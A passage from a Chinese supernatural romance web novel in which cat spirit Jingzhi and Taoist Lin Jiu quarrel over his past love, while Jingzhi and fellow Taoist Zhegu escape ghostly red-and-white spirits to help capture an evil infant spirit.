他顿了一下,伸出双手撑直她的肩膀,微微低下头对上她的视线,轻声对她说道: “你之前问的问题,等此间事了,我再回答你好不好?” 静之愣了得有五秒。 突然,她无神的双眼迸出耀眼的光芒,静之有些难以置信,以至于声音都有些微微的颤抖,“真,真的吗?” 边说着,她甚至想拉一下他的手确认。 才刚上手,林九立马把手撤回。 仿佛被她眼里的亮光闪到,他想挪开视线,但是心知不能再让她消沉下去了,于是顶住她火热的视线,直视她,微微点了点头。 “好好好!” 静之收回蠢蠢欲动的手,乖乖地将之放在自己膝盖上,她的心跳此时快到不行。 一时之间,喜得竟不知道该说什么好。 此时此刻,作为盯人狂魔的静之,竟被林九那柔和的眼神看得有些害羞了。 她率先错开视线,绕着手中老婆饼上的细麻绳,眼神往下直直盯着他凸起的喉结,吞吞吐吐地说: “那,那我们接下来该怎么办?” 那喉结突然上下滑动了一下,然后轻轻颤动着,紧接着,是一阵低沉的声音传来: “我……” 刚说一个字,外头就传来米其莲痛苦的哀嚎声。 “啊……好痛啊!” 二人对视一眼,“难道被我气到动胎气了?不至于吧。” “……去看看!” 静之看了一眼立马去开门的林九,幽幽地跟着在他后头说: “你很关心她?” 林九脚步一顿,还没说什么,静之就自己圆了回来,“好啦好啦,我不问,我等你的答案。” 她不想从他口中听到任何有关米其莲的事情了。 毕竟米其莲是他青梅竹马的师妹,是他的白月光,她实在是不敢赌。 两人本想从前头走廊穿过去看看,结果门口的士兵双枪一搭,拒绝得明明白白。 二人退回,静之指了指后门。 开门一看,后门正对后山,不知是换班,还是士兵偷懒去了,暂时无人把守。 他们猫着腰一路小跑过去,来到米其莲房间的后窗外。 悄悄撩开那百叶窗一看,静之顿时有些想吐。 只见那个女人端着一盅好似猪脑的东西,正喂着米其莲吃着。 以她极好的视力来看,她能保证,那盅白色脑状物,还在一跳一跳的。 该不会……真是谁的脑子被活剜了吧? 而她身边的林九,看到的则是被放在梳妆台下的恶婴。 更糟糕的是,那恶婴蒙眼的红布和身上的朱砂细绳皆被拆开了。 两人刚看这么几眼,里头那女人好似发现他们,猛地一转头。 林九赶紧放下百叶窗,扯着静之一路小跑返回。 此时,林九的房间内,门窗紧闭。 林九压低嗓子,有些不解地说:“遭了,恶婴怎么会被她拿到了?” 静之:“是你之前放义庄那三尊其中一个啊?” 林九点点头,心下明了,那个女人肯定是被恶婴控制了。 “看来,恶婴是想要借莲……小莲的肚子转世。” 静之紧抿着嘴巴,不是莲妹,就是小莲。 小莲她也不想听。 林九一看她便秘的表情,就知道她在想什么。 他有些尴尬,但是不叫小莲的话,他也不知道能叫什么了。 毕竟,小莲也是个受害人…… 虽昔日情意不再,但师兄妹之间的感情还是有的。 林九思考了一会儿, 立马拿出信纸开始写信。 “你想出方法了?” 她的声音莫名消沉。 林九救人心切,一时竟未听出来,他边写边说: “对付灵婴,蔗姑的方法比我多。大帅其实主要看管的是我,你应该是可以出去的,你拿着这封信去找她,她看到之后就会赶过来的。” “…………” 她静默了许久,脸色冷得不能再冷。 臭林九! 叫她去找她以前的情敌来救她现在的情敌? 亏他想得出来。 但她心知那恶婴不收的话,会害了更多性命。 无奈之下,只能强迫自己挤了声“好”出来。 林九写完信,刚想从怀里拿出蔗姑送给他的怀表给她,乍一抬头,看清她脸色的同时,默默又把那个怀表收了起来。 给她的话,她会气疯的吧…… 他拿着信欲言又止,“你……” 静之夺过信纸塞进怀里,冷冷地说:“我知道了,我会去。” 话刚说完,她就觉得自己甚是可笑。 心情差到极点,静之提着那袋老婆饼,快速起身,挪开椅子就朝外走。 林九看到她淡漠的眼神内心猛的一揪,快走两步扯住她的袖子。 两人站了许久,皆不开口。 静之是心累。 林九则是不知道该怎么解释,毕竟,他以前确实对小莲有情。 她话中带刺,“再不让我去,你的旧情人就要生了。” 林九眉头越皱越紧,捏着她袖子的指节渐渐发白。 半晌,才叹了口气,轻声说道:“我饿了,饼不是要给我吃的吗?” 静之抬眸,满眼复杂地看着他,语气冷得不带一丝温度: “……还吃得下吗?” 她的神情仿佛在问,你吃得下三个女人吗? 林九从她手里接过老婆饼,思量了许久,才缓缓地说:“我从未喜欢过蔗姑。” 静之后退一步,自嘲地笑了笑。 他只否认了一个呢。 至于另一个……他的不否认就是答案。 “我知道了,你吃吧,我……走了。” 静之用力拂开他的手,打开后门。 本想直接走掉,余光却又瞄到他苍白的唇色。 她一边在心里痛骂自己真发贱,一边转身回去,一手将愣住了的林九狠狠摁在墙上。 她低头死死咬住他的肩膀,另一手却轻轻向下,把自己身上仅存的一点灵力,一股脑传入他的腹中。 林九没躲。 仿佛能感知到她的情绪,他犹豫了一下,缓缓抬起手,想拍拍她的肩膀安慰。 静之突然松口,冷冷地说:“……别碰我。” 林九的手僵在半空,这还是……她第一次拒绝他的靠近呢。 又站了一会儿,待到她体内灵力耗尽,这才放开他,快步走出后门,从二楼一跃而下。 林九感受着腹部温热灵力的流动,心头却是跟破了个大口子似的,寒风呼呼地往里吹。 他想,他的答案,她是不是也不屑听了…… 林九坐了下来,轻轻挑开手中老婆饼的麻绳,将油纸掀开。 里头的饼,几乎稀碎,就只有两块完好的。 他想,她当时应该是气极了吧,跟刚刚一样。 林九抖落那些稀碎的饼屑,将那两块完好的饼捡出来,用帕子包好。 这才捻起一小块四分五裂的饼往嘴里塞去。 咀嚼几下,他扯了扯嘴角。 这饼,一点都不甜。 有些发苦呢…… 第111章 静之又遇蔗姑 得亏蔗姑所在的庙离他们这儿不远。 静之借了念英的自行车,化悲愤为力量,一路狂踩,不到一个时辰,就到了蔗姑的庙门口。 蔗姑这几天心情也是烦闷得不行。 此时此刻,她靠在门口,拿出一盒烟,熟练地敲敲烟盒屁股,抖出一根后,夹起那根烟叼住。 刚点上火,吸了一口,就看到静之奔过来的身影。 她两指一夹嘴边的烟,站直身体,刚想说两句话调侃调侃她。 却不曾想,静之直接大力冲进她的怀里,嚎啕大哭起来。 这突如其来的举动,给一向大大咧咧的蔗姑整不会了。 她无措地夹着烟高举双手,任静之搂着她的脖子哭,边磕磕巴巴问: “你,你怎么了?” 静之没理她,只是又嚎了许久,这才掏出包里的纸擤了擤鼻涕。 然后掏出怀里的信递给蔗姑。 她的声音闷闷的,像是鼻子塞住了,“林九叫我给你的。” 听到“林九”二字,蔗姑有些莫名其妙。 “你们吵架了?” 蔗姑边说着,把手上的烟往墙上一挤,烟头的火星瞬间熄灭,只留下淡淡的烟味,萦绕在二人身旁。 她打开信封,把信纸掏了出来。 静之拿红肿的眼睛看着蔗姑,闻到那股烟味,莫名就想到林九,于是嘴一撇,又想哭。 蔗姑余光看到,眉头一皱,从怀里掏出烟盒抖出一根: “……要不,来一根?” 她这一看就是情伤。 她师兄可真是好样的。 猫妖也能搞到人家痛哭流涕,到底发生了什么? “我不抽烟……我想吃糖,你有吗?” 蔗姑有些无语,但还是带着她来到供桌前,拿起其他香客放在供桌上的酥糖拆开,递给她一颗。 静之抽噎着,打开糖纸,把糖吃进嘴里,缓了好一会儿,才慢慢跟蔗姑说起了前因后果。 刚说完,蔗姑立马走到神像后头,来到放灵婴的柜前查看。 她一手磨蹭着下巴,一手数了数灵婴的数量,突然嘶的一声,倒抽一口凉气,“哎呀,还真是少了一个,什么时候少的,我怎么不知道?” 静之这回也哭一场了,心中的阴郁去了不少,她知道正事要紧,于是赶紧问蔗姑: “有什么办法把灵婴引出来?” 蔗姑见她这么快就走出情伤,倒真是有些惊讶。 她试探性又问了一句:“真的不抽一根?” 她可以陪一根的,真的。 静之摇摇头,将伸到眼前的烟盒推了回去,“没什么大事,就是我过不去自己心里那关而已,他……没做错。” 毕竟秋生和文才走了,他没人可用了。 蔗姑一下就明白,这个“他”肯定是指林九。 “哎呀,灵婴嘛,都是小孩子,就爱凑热闹,我带几个灵婴过去那边玩,引它出来不就行咯!” 刚说完正事,她又八卦的诶诶两声,凑近一问:“你们……闹矛盾啦?” 静之深深叹了口气,抬眸瞅了她一眼,“你是要看我的笑话的吗?” 蔗姑赶紧摆摆手,“哪里有,我就是好奇,你一猫妖,什么大风大浪没见过,怎么会给他搞到痛哭流涕?” 静之:“……你知道他跟米其莲的事儿吗?” 蔗姑身子一僵,缓了好一会儿,才嘁了一声。 像是在掩饰什么,敲了敲烟盒,又抽出一根夹在手里,却是没点火。 她怕静之闻到烟味又哭,她可最受不了别人哭了。 蔗姑靠着门框,望着门外的浮云,长长叹了口气,思绪瞬间拉回了十几年前: “怎么不知道,我是他求道路上救的,那一路,他不知道暗暗红了多少次眼眶,我小时候好奇,便问了。” 蔗姑突然笑了一声,朝右边怼了怼静之的肩膀说: “他年轻的时候啊,还真是有些小帅,人又温柔,我一问,他便都跟我说了,只不过后来修了道,人越变越严肃了。” 十几年了,连蔗姑自己都不知道,她对林九到底是感激,还是爱情。 反正无所谓了,她已经决定放下了,也算是放过自己。 然而,面前这个女人明显放不下。 静之:“……他说了什么?” 蔗姑有些讶异她的问题,又有些了然。 毕竟凭林九现在的性格,应该是不会拿自己以前的丑事出来说的,多丢面子。 不过看静之现在这副颓然的模样,她不得不拿出来说一说。 也许是上回不小心整到她,也或许是因为静之帮她的那两次,反正她现在对静之是好感大于情敌之间的排斥的。 “他跟他的莲妹从小一起长大,他太害羞,一直没告白,结果心上人被那个龙大帅直接勾走,而他一气之下,选择上山修道……” 静之愁得眉毛都快成波浪型了,她悠悠说着:“他现在不也是这样吗?” 边说着,她又小小声忿忿吐槽道:“他甚至都没承认不喜欢米其莲……” 蔗姑也是修道之人,更何况话就在耳边,她哪里听不到。 于是越发觉得眼前这个女人可怜了。 得亏她决定放弃了,不然心累的人就变成她了。 于是蔗姑又把烟朝静之递了递,“抽一根吧,别信什么女人不能抽烟的鬼话,抽烟解千愁。” 静之将信将疑看了她一眼,这回她没有拒绝,将烟接了过来,还学着蔗姑刚刚的样子把烟叼进嘴里。 然后愣愣地看着她。 蔗姑啧了一声,觉得她跟个老妈子似的,管她的心情,这姑娘抽烟,她还要帮她点火。 随着火柴唰了一声响,烟头燃起火星,瞬间又暗淡下来。 蔗姑:“……你倒是往里吸一口,要灭了。” 静之照做,下一秒,她就被香烟浓烈的味道呛到。 于是赶紧拿出嘴里的烟,捂住胸口猛咳了好几声,才渐渐缓了下来。 她啧巴两下嘴,实在不习惯这个味道,有些委屈地对蔗姑说: “呛……我还是想吃糖。” 蔗姑:“……你到底几岁?” 静之无辜脸:“一百五十三岁。” 蔗姑斜眼看她,“……切,鬼才信。” 话虽这样说着,她立刻抽掉静之手里的烟,丢到地上碾灭,然后快步走进屋里,把整包酥糖递给她。 “呐,吃着吧,我去收拾灵婴,你在门口等我一会儿。” 静之双手捧着糖,乖乖点了两下头答应,“好。” 她乖巧的样子,不由让蔗姑多看了两眼。 蔗姑心中暗道:她师兄莫不是瞎了眼,这姑娘的性子,难道不比那个爱慕虚荣,朝三暮四的米其莲好吗? 难道,青梅的杀伤力…真的那么大? …… 第112章 红白双煞 郊外的道路崎岖不平,到处都是大大小小的坑洞。 静之却像是完全没有察觉到这些障碍似的,骑着两轮自行车一路疾驰而过。 她心里虽然还在生林九的气,但一想到大帅和那个被恶婴控制的女人可能会对他不利,就恨不得立刻飞到林九身边去。 反观蔗姑这边,情况可就没那么乐观了。 她费力地蹬着三轮车,车上还载满了沉甸甸的灵婴塑像。 每一次踩踏都让她感到无比吃力,汗水顺着额头不断流淌而下。 “喂,你等等我啊!你那是跑车,我这是牛车啊!” 蔗姑一边喘着粗气,一边朝着前面的静之大喊。 静之听到声音后回过头来,看到蔗姑累得上气不接下气的样子,连忙捏住手刹,同时用脚撑住地面,稳住了车子。 “你快点嘛!”静之急切地催促道。 蔗姑感觉自己的双腿都快要废掉了,心里不禁暗暗叫苦。 她对静之翻了个白眼,索性放慢了速度,最后甚至慢慢地停了下来。 “歇会儿吧,嗬……我不行了!”蔗姑大口大口地喘着气说道。 过了好一会儿,她才缓过气来,看着静之不解地问道: “林正英那样对你,你还这么着急去救他呀?” 静之轻轻地抿了下嘴唇,嘴里含着的那颗糖果散发出丝丝甜蜜的味道。 这股甜意在她舌尖蔓延开来,似乎真的能够减轻一些她内心深处的烦闷。 沉默片刻之后,她缓缓开口说道: “……走嘛,我不放心。” 蔗姑看着眼前这个倔强的姑娘,心中不由得泛起一丝疼惜。 嘴里虽然还在不停地嘟囔着:“真是只傻猫啊!怎么就这么不让人省心呢!”但那只脚却已经迅速地踩到了脚踏板上。 “等等!蔗姑,我好像闻到一股香味儿……嗯,像是红烧肉的味道。” 静之用手轻轻揉了揉自己那挺翘的鼻头,满脸狐疑地说道。 经她这么一提醒,蔗姑也情不自禁地抽动了几下鼻子。 然而,她却摇着头反驳道:“不对,这分明是椒盐鸡屁股的味道!” 两人面面相觑,突然间都警觉起来。 她们心里清楚得很,这里可是荒无人烟的郊外,怎么可能会有如此诱人的美食香气飘来呢? 就在此时,晴朗明媚的天空毫无征兆地变得灰暗起来。 原本清晰可见的前方道路也瞬间被一层淡淡的烟雾所笼罩。 她俩迅速下了车,背靠背站在一起,然后又双双转过头,紧张地向来时路望去。 不料,后头也已经笼罩起了一层薄雾。 静之心中暗自诧异,莫名不敢大声说话,“怎么回事?” 蔗姑小声嘀咕真是倒霉,这才回应她一句,“碰到脏东西了。” 尚未想出应对之法,耳畔忽地传来阵阵唢呐之声。 仔细聆听,左侧是拖沓冗长的悲泣,右侧是短促欢快的奏鸣,其间还夹杂着阵阵刺耳的镲片撞击声。 静之原本清亮的眼神逐渐变得恍惚,双脚不由自主地朝着右侧挪动。 才迈出一步,手臂便被蔗姑紧紧抓住,“快捂住耳朵,别听!” 真是要命! 这时候越是耳聪目明,越是心中有所期盼,就越容易受到鬼乐影响。 被蔗姑这一扯,静之立马醒神过来。 她赶忙捂住耳朵,企图阻隔那犹如魔音灌耳、能扰乱人神智的敲击。 耳朵虽已捂住,五感之中的视力却愈发敏锐起来。 她目光如炬,警惕地朝着右侧望去。 只见前方那片茂密的丛林,被一层浓厚得几乎化不开的烟雾所笼罩。 紧接着,一群身穿红衣的引路人如同鬼魅一般,从那弥漫的烟雾之中猛地冲了出来! 仅仅过了几秒钟,一顶红色的喜轿就出现在了她的眼前。 那顶喜轿的前头围着一圈红色的薄纱。 随着抬轿人的脚步移动,那薄纱也轻轻摇曳起来,使得坐在里面的女人身影时隐时现。 透过朦胧的薄纱,静之隐约看见那个女人正双手交叉于胸前。 她那双修长而又尖利的指甲格外引人注目,上面涂满了正红色的指甲油。 这本应是象征着喜庆的色彩,但此刻落在静之眼中,却只让她感到一股莫名的寒意从脊梁骨上涌起。 这些指甲,看上去竟比她见过的僵尸还要尖利几分,仿佛随时都会刺破血肉。 再看那女人身上穿着的喜袍,猩红如血。与之形成鲜明对比的是,她那张面容却呈现出一种诡异至极的苍白。 更让人觉得惊悚的是,她苍白的嘴唇中间突兀地点缀着一点鲜红的口红,犹如一朵盛开在雪地里的红梅,娇艳欲滴却透着丝丝邪气。 她的双眼一眨不眨,直勾勾地死盯着看过来的静之,那眼神空洞无物,却又仿佛蕴含着无尽的怨念与恶意。 静之心中暗叫不好,心想这女鬼最为擅长施展迷惑人心的法术。 于是她赶忙挪开自己的视线,迅速转过头去朝着左边张望过去。 可谁曾想,这一眼看过去,却是让她的心跳瞬间加速到了极点。 左边更是诡异至极。 人还未到,飘洒在空中的黄纸,已经飞落到静之眼前。 视线穿过那层飘舞着的黄纸,一具黑色的棺材突兀的出现在静之眼中。 更为诡异的是,一个穿蓑衣带斗笠的白衣女子双腿叉开,直直坐在那棺材上。 就算她历经几世,也从未见过哪个地方有这种习俗。 此时,那女子的姿势,跟刚刚的红衣新娘如出一辙,只是她交叉的手,手上的指甲为诡异的白色。 唇上的一点却不是如血一般的红色了,而是浓如墨的黑。 与那红衣女子相同的一点。 便是她看静之的眼神。 直勾勾的,阴森森的,毫无一点人气。 看得静之不禁一个哆嗦。 搞什么? 红白喜事交汇,这世界上有这么巧的事儿吗? 亏她还大咧咧的盯着看,蔗姑此刻表情已经凝重到不行。 红白双煞,是阴间最厉害的两种小鬼。 “红煞”代表因喜事而意外死亡的灵魂。 “白煞”则代表青年意外遭遇死亡的灵魂。 这两种灵魂是怨气最重的。 喜和丧本来就是两种最极端的情绪,而大喜大悲两两相遇便会产生强大的能量。 此时的蔗姑,只能暗暗祈祷,这两只小鬼不是冲她们来的了。 “闭上眼睛,别看别听!” 说罢,她也一同闭眼,手掐诀,口中默诵咒语。 …… 时间仿佛凝固了一般,漫长而难熬。 在经过了不知多久之后,两边那喧闹的喜乐与悲戚的丧乐都渐渐停歇下来,就连先前杂乱无章的脚步声也彻底消失无踪,周围陷入一片死寂。 静之甚至只能听到她和蔗姑略显急促的呼吸声。 这种令人窒息的寂静持续了很久,静之和蔗姑皆苦苦忍耐着,谁也不敢轻举妄动。 终于,在又熬过了一段难捱的时间后,两人像是心有灵犀一般,几乎同时睁开了双眼。 然而,就在她们睁眼的那一瞬间,却双双被眼前的景象吓得浑身一颤。 只见左右两边原本应该离去的引路人此刻正离她们一步之遥,还朝着她们咧开嘴,露出诡异的笑容。 静之仅仅瞥了一眼,便觉得一股寒意从脊梁骨上涌起,直达头顶。 紧接着,她只感觉眼前一阵恍惚,待再次回过神来时,赫然发现自己已经身处轿中! 之前飘荡在前方的薄纱已经不见,这轿子六个面被围得严严实实,只留下两侧的开的小窗。 发生了何事? 刚才坐在里面的女鬼为何不见了踪影。 静之顿感毛骨悚然。 她的目光不由自主地向外望去。 待看清楚后,她惊愕地睁大了双眼。 只见那白衣女鬼已然消失得无影无踪,而那红衣女鬼则以刚才白衣女鬼的姿态,端端坐在轿子前。 她的身下……竟然是棺材? 棺材已经撑到了花轿下面了?! 就在她意识到自己处于何种境地之时,抬棺之人突然加快步伐,向前狂奔而去。 静之被这一晃,又被晃进了轿子里。 必须出去! 这是她脑海中浮现的第一个念头。 虽然她不知道这群鬼魂要将她带往何处,但用脚指头想也知道,肯定不会是什么好地方。 她不停地用脚踢着四周的木质轿面。 按常理来说,她的力气颇大,像这样薄薄的木板,平时早就被她踹烂了。 然而今日,这看似脆弱的花轿,任凭她如何踹动,却依旧巍然不动。 只是在她踹动的过程中,窗外不断泛起一阵阵红光。 静之见蛮力没用,于是停止无用的挣扎。 她捏着袖子的一个小角,小心翼翼地伸出窗外。 这衣角一碰上那红光,就跟被腐蚀了似的,眨眼间就变得黑乎乎的,而且还有往里头蔓延的势头。 静之反应那叫一个快,一把扯下变黑的袖口就扔了出去。 就在这时,她脚底下突然传来一阵“咚咚咚”的敲击声,还有蔗姑那闷闷的声音: “你是不是在上面啊?” 静之眼前一亮。 可不是嘛,蔗姑也是修道的,这种诡异的情况,她肯定有办法,于是赶忙回应: “是,我看到了!你在棺材里面?棺材在花轿下面呢,你有没有办法上来?” 蔗姑:“你快破轿出去,我才能出去!” 静之有些尴尬,“出不去,我没灵力了,外头有红光,有腐蚀性!” 蔗姑一下被噎住了,棺材里的空气越来越少,她每呼吸一下,里头的二氧化碳就多一些,温度也升高了,只觉得胸口闷得慌。 是缺氧的征兆! 她咬咬牙,赶紧拿出随身携带的匕首,将棺材盖子一点一点撬开。 “让开一点!” “哦哦,好!” 静之赶紧把身体紧贴在轿壁上,好让蔗姑从下面的棺材里爬上来。 蔗姑只瞅了一眼窗外,就知道那是小鬼的鬼气屏障。 突然,外头传来一阵“哗哗哗”的踩水声。 静之从另一个窗口往外一看,好家伙,这些鬼物正抬着她们往水里走呢。 它们这是想直接把她俩淹死啊?! “蔗姑!看外头!” 蔗姑敏锐地察觉到情况不对,根本无暇多想,匆忙解开师父赠予她的桃木手串。 只见她口中念念有词,伴随着咒语声,手串竟然开始闪烁起金色的光芒。 当咒语加持完成之后,蔗姑暴喝一声,双掌用力朝上一拍。 只听得“轰隆”一声巨响,整个轿顶就像是纸糊的一般,瞬间被她强大的力量给掀飞了出去。 静之仅仅只是瞥见外头的红色屏障被撕开了一道狭长的口子,紧接着蔗姑便身形一闪,已然从上方一跃而出。 她急忙紧跟其后。 原本气势汹汹的一众鬼怪们,在见到屏障被蔗姑轻易破开后,皆是惊愕万分,纷纷回头望去。 说时迟那时快,蔗姑毫不犹豫地扯断了手中的桃木手串,将那些小巧玲珑的桃木珠子如同疾风骤雨般朝着四面八方的鬼物急速射去。 刹那间,红光如潮水般迅速消散开来,凡是被这些桃木珠子击中的鬼物,皆失去踪影。 唯有前方不远处一个身着红衣的女鬼,还孤零零地站在那里。 那女鬼眼见蔗姑如此厉害,她大惊失色,不由自主地朝着水中倒退了好几步。 随后,她猛地一个转身,一下就潜入到了水下,眨眼间便消失得无影无踪。 “这么多只,你都打中了?” 静之站在轿顶,环顾四周,发现无一幸免,河边空空荡荡的,就剩下她们两个。 蔗姑不甘心地向前追出两步,眼睁睁看着那女鬼消失不见,气得她狠狠地跺了一下脚。 刹那间,无数水花四溅而起。 “哎呀,不是打中了,这都是那只女鬼的幻象!” 她看了静之一眼,嘴里嘟囔道:“真是晦气!不过还好啦,总算是走掉了。” 她一边说着,一边用手拍了拍胸口,心中暗自庆幸不已。 要知道,如果刚才遇到的真的是传说中的红白双煞,以她这点微末道行恐怕今天就要和这只可怜的猫一起命丧于此了! 静之轻轻地点了点头,她的目光不经意间扫过蔗姑湿漉漉一直延伸到大腿处的裤子,忍不住轻声说道: “等会找个地方,先换身衣服吧,不差这一时半会的功夫。” …… 第113章 蔗姑想拐猫 “喏,这是衣服,这是椒盐鸡,给你吃。” 静之边说着,将左手拿着的衣服递向蔗姑,右手则轻轻地把那只香喷喷的椒盐鸡放在桌子上。 蔗姑连忙伸手接过衣服,对于穿着打扮,她向来不太在意,所以也没有过多关注手中的衣物。 然而,她的目光却瞬间被桌面上那盘诱人的鸡肉吸引住了。 “你怎么知道我喜欢吃这个?”蔗姑忍不住开口问道,眼中满是惊喜和疑惑。 静之随意地拉开一张凳子坐了下来,伸出手指划拉着碟子的边缘,似乎有些心不在焉地回答道: “我最喜欢吃红烧肉,我就猜想那个女鬼制造出的嗅觉幻象,应该就是每个人心中最喜欢吃的食物吧......不过,鸡屁股可别吃,听说对身体不太好呢。” 听到这话,蔗姑的心中忽然涌起一股暖流,这种感动的情绪对她来说实在是太陌生了。 一时间,她竟然不知道该如何回应才好,只能嘴里哦哦地应了两声,然后转身快步走进卫生间去更换衣服。 刚一踏进卫生间,她像是想起了什么似的,又猛地把头探了出来,对着外面喊道: “别偷吃啊,一定要等我出来再一起吃!” 正在发呆的静之被这突如其来的声音吓了一跳,但很快便回过神来,转头朝着蔗姑露出一个灿烂的笑容,温柔地说道: “你放心好了,全都留给你吃。” 蔗姑猛地将头缩了回去,脸上带着几分局促之色,随后小心翼翼地把门关紧。 她的心中不停地嘀咕着:“哎呀呀,这只猫可真贴心!要是林正英不想要的话……嘿嘿,那她可得把她带回庙里去!要不然就自己一个人待着,那该有多无聊。” 一想到这儿,蔗姑忍不住偷偷地贼笑了两声,然后手脚麻利地换上手中的衣服。 刚刚踏出卫生间的门,蔗姑便听到外面传来一阵轻轻的敲门声。 她不禁皱起眉头,疑惑地问道:“……谁呀?” 门外的人似乎被她给惊到了,先是愣了好几秒,接着抬头望了望外面逐渐暗下来的天色,这才如梦初醒般赶紧开口回应道: “是我,林九。” 话音刚落,只见一道身影如同闪电般急速从蔗姑身旁掠过,紧接着,她身后的卫生间门“砰”的一声关上了。 蔗姑被吓了一跳,半晌之后才回过神来,喃喃自语道: “…………这家伙到底在搞什么鬼嘛?就这么不想看到他?” 她缓缓走到桌子前面坐了下来,目光恰好落在了那碟香喷喷的椒盐鸡上面。 刹那间,一个坏主意涌上蔗姑心头。 她伸手扯下一只肥美的鸡腿,然后潇洒地抬起脚踩在了凳子上,开始抖着腿,一边大嚼特嚼着美味的鸡肉,一边含糊不清地说道: “进来!” “咔嗒。” 门开了。 林九只看了她一眼,视线便快速挪开,四处张望着。 蔗姑切了一声,边吃,边朝林九翻了个白眼说: “这个时候才知道来找人,早干嘛去了?” 林九走近几步,一把将她踩在凳子上不断抖动的脚勾下,教训了句“坐没坐相!”,这才缓缓解释道: “秋生和文才把僵尸牙拿回来了,元帅已经去了尸毒,我叫他俩使计留在大帅府,这才被放了出来。” 蔗姑:“哦。” 林九心里有些焦急,又上前一步问: “她呢?怎么只有你一个人?” 蔗姑咽下口中的肉,淡淡地说: “你把人家惹哭了,还不许人家跑啊,她把信给我以后就走了。” 林九心里顿时一个咯噔。 他又把她惹哭了? 眉头渐渐蹙起,赶紧问道: “走哪儿去了?” 他的心里止不住的慌乱,他甚至在想,她要是永远不回来了,那他怎么办…… 他的答案,她可还没听呢。 蔗姑看了一眼林九被吓白了的嘴唇,又不着痕迹瞄了一眼卫生间的方向,狠狠心说: “我怎么知道,你又没拿钱叫我看着她。” 她唉了一声,又撕下鸡肉慢慢吃着,“你等我吃完,我就跟你去抓恶婴,抓完恶婴,你回你的义庄,我回我的王母庙。” 她甚至暗自思忖,这样也好。 待她擒获恶婴,就将卫生间里的猫猫一同带走,让林正英追悔莫及,哈哈! 林九后退一步,不禁颓然地一屁股坐在椅子上,脸上的神情比哭还难看,放在桌子上的拳头攥得紧紧的。 他口中不断低声呢喃着: “到底去哪里了?” 他尚未向她表明心意,怎么可以就这样走掉了。 他这副魂不守舍的模样,令蔗姑不禁心生怜悯,她心不在焉地吃着鸡,眼神却不由自主地,频频朝着卫生间望去。 她这异常的举动,让林九心生疑惑。 下一瞬,他如同发狂一般死死抓住她的肩膀,力道之大,仿佛要将手指嵌入蔗姑的身体里。 激动的情绪让他的双手微微颤抖着,缓了好一会儿,才艰难问道: “她……她是不是在里面?” 蔗姑先是微微一愣,随后迅速反应过来,只见她高高举起双手,故意清了清嗓子,然后还刻意提高了一点音量,朝着卫生间大声说道: “我可什么都没说,什么都没做啊~” 听到蔗姑这番模棱两可的话后,林九心中的猜测愈发坚定起来。 他几乎已经能够百分之百地断定,静之此刻就正藏身在那个小小的卫生间里。 想到这里,他急忙松开手,大步流星朝着卫生间门口走去。 当他来到门前时,抬起手想要敲门,但就在指尖即将触碰到门板的那一刹那,脑海中突然浮现出她离开之前那张无比冷淡的面容。 刚刚举起的手指,就这样慢慢地捏成了一只拳头,悬停在空中片刻之后,又缓缓地放了下来。 “静之,出来好不好?我可以跟你解释。” 里头一片寂静。 蔗姑轻轻转动着被林九抓痛的肩膀,眼神不住地往右后方瞥,边吃鸡,边吃瓜。 就在她以为静之今天可能都不会出来的时候,她出声了。 “解释什么,说你从来没有喜欢过她吗?” 嘶~ 是个死亡问题。 蔗姑心想,她师兄这回可算是完了。 说有,那就是自寻死路。 说没有,在场的两个女人没一个信。 看来,她即将成为第一个拥有猫妖的女人了! 林九静默了许久,实在不知道该怎么回答。 他不想骗她,但直觉告诉他,说有的话,他们之间,就再无可能了。 他嘴角微扬,露出一个略带苦涩的笑容,沉声道: “今夜收完恶婴,我们便回义庄吧,我,有些事想与你谈。” 言罢,他略带羞恼地瞥了一眼偷看的蔗姑,双耳微微泛红。 然而,下一刻,静之的话却如重锤般砸在他心上,令他面色瞬间变得惨白。 “收了恶婴……我不会再回去了,你与文才、秋生,你们三人回去吧。” 屋内突然传来她的一声轻笑,“你不是一直盼着我离开吗?如今也算是遂了你的心愿。” 林九如遭重击,身体不由自主地摇晃了一下,他一只手扶在门上,心中那破碎的口子,此刻不再是寒风呼啸,而是缓缓凝结成一层寒霜,冷得他手指微微颤抖。 就在此时,门“咔嗒”一声,缓缓打开。 刚看到她泛红的眼眶,紧咬着牙关的林九迅速上前,将静之又推了进去,随后一个转身,反手将门紧紧合上,彻底挡住了蔗姑的视线。 蔗姑:……啪的一声,即将到手的猫就这样没了! 静之僵着身子,任由林九死死搂着她,她缓了好一会儿,才哑着嗓子问: “你这是什么意思?” 林九加大环住她肩膀的力气,心中满是难以抑制的羞涩与紧张,“不等回去了,我想现在就告诉你。” 静之奋力挣脱他的手,将他稍稍推开,凝视着他有些慌乱的眼眸说道: “林九,不纯粹的爱情我不要,你想好了,再来跟我说吧。” 说罢,她推开他,手捏上门把手往下一按就要出去。 就在这时,林九握住她那只手,制止她开门的动作,然后迅速俯下身擒住了她的唇瓣。 单身四十几年的道士,还是个极其害羞的人,哪里会什么接吻。 他只是牢牢按住静之的后脑勺,使两人的嘴唇紧密贴合。 …… “啪!!” 蔗姑吓得手里的鸡骨头都掉地上了。 这声儿,谁打谁? 不过几秒,门后缓缓走出来的两人给了她答案。 静之冷着脸,红肿着唇瓣,走过来搂住她的胳膊说: “我们走吧。” 蔗姑眼神先是落在她唇上,然后落在她身后林九正流血的唇上,最后落在林九右脸红色的五指印上。 此时此刻,她忍不住想鼓个掌。 小猫咪这是翻身做主人了? 蔗姑死死压住想要上翘的嘴角,一本正经地说: “好好,做正事要紧。” 看来,她未来的猫还没丢…… 第114章 老奸巨猾 静之一时打得爽了,走出门口,看到他被人指指点点的那一刻,她又开始心疼上了。 刚心疼那么一秒,看到林九欣喜的眼光,她又立马低下头去。 蔗姑感受到手臂上渐渐加大的力道,她这才回头看了静之一眼。 她拍了拍静之的手安抚,边换了个位置,走到林九和静之的中间,对林九说道: “师兄啊,你怎么找到这里来的?” 林九板着脸扫了一圈周围的人,待他们受不住他的冷眼,纷纷散开后,这才缓缓说道: “念英出来买东西,看到……静之了。” 就在这时,他才发现,他好像极少唤她的名字。 她一直在自己身边,为自己准备着各种东西,根本没有唤她的必要。 平时交流也是你啊,我的。 林九幡然醒悟,自己好像有些过于理所应当了。 因为知道她喜欢自己,便拖着不肯认爱,还理所应当享受她给的一切。 这巴掌……真是他应受的。 刚刚还觉得有些丢脸的林九,这会儿不觉得丢脸了,反而愈发失落,甚至连头都渐渐垂了下来。 蔗姑看他那死出,恨不得狠狠抽一把他的后脑勺。 